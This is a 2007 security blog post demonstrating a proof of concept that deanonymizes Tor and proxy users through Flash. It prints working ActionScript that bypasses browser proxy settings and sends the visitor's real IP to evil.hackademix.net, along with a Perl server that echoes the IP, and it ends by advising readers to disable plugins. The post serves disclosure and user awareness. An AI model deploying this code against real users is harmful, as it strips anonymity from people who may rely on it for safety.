hackademix.net

Archive for the IE Category

26 09 2007

Cross-Browser Proxy Unmasking

Posted by: Giorgio in IE, Anonymity, Flash, Java, Security, NoScript

It’s really time to sleep in my timezone, but I just couldn’t resist when I read latest RSnake’s post about Deanonymizing Tor and Detecting Proxies.

The basic concept, not terribly new by the way, is that browser proxy settings cannot be enforced on browser plugins, which happily ignore them in some circumstances, e.g. when establishing a direct TCP socket connection.
So if you’re using a proxy to hide your internet address (like Tor users do), embeddable objects like Java applets can betray you, revealing your real identity to advertisers spying on your habits or, worse, to the police of a repressive state.

This caveat has been preached even on the Tor download page itself, but nothing better than some scary demos to convert the non believers.

RSnake’s interesting proof of concept exploits JavaScript + LiveConnect , and it apparently works on Gecko-based browser with Java™ installed only. I didn’t manage to make it work on Opera, even though it does support LiveConnect.

So I decided to defer bedtime a bit and I put together my own quick deanonymizing proof of concept, which relies on the almost ubiquitous Macromedia® Flash® and works in any web browser, like Internet Explorer, supporting the Flash player (no need for JavaScript, either).
The

XMLSocket

ActionScript object is used to bypass browser’s proxy setting and connect to a tiny server written in Perl, listening on port 9999 and echoing client’s IP.

Here’s the ActionScript code:

var socket = new XMLSocket();
socket.onConnect = function(success) {
socket.onXML = function(doc) {
getURL("http://evil.hackademix.net/proxy_bypass?ip=" +
doc.firstChild.firstChild.nodeValue);
socket.close();
};
socket.send(new XML());
};
socket.connect("evil.hackademix.net", 9999);

Download this code: pbp.as

And here’s the Perl server:

#!/usr/bin/perl -w
use strict;
use IO::Socket;
my $port = shift || 9999;
my $sock = new IO::Socket::INET(
LocalPort => $port,
Proto => ‘tcp’,
Listen => SOMAXCONN,
Reuse => 1);
$sock or die "socket: $!";
my($new_sock, $c_addr, $buf);
while (($new_sock, $c_addr) = $sock->accept())
{
my ($client_port, $client_ip) = sockaddr_in($c_addr);
print $new_sock "<ip>" . inet_ntoa($client_ip) . "</ip>\000";
$new_sock->close();
}

Download this code: pbp.pl

Today’s lesson is: if you want to stay anonymous, you’d better turn off Java, Flash and any other plugin!

Update OCT-27

I’ve just learned that some months ago a guy called yawnmoth demonstrated an Unmasking Java Applet. Just like my Flash-based one, this works also in browsers, like IE, not supporting LiveConnect.
The lesson above obviously applies, even stronger.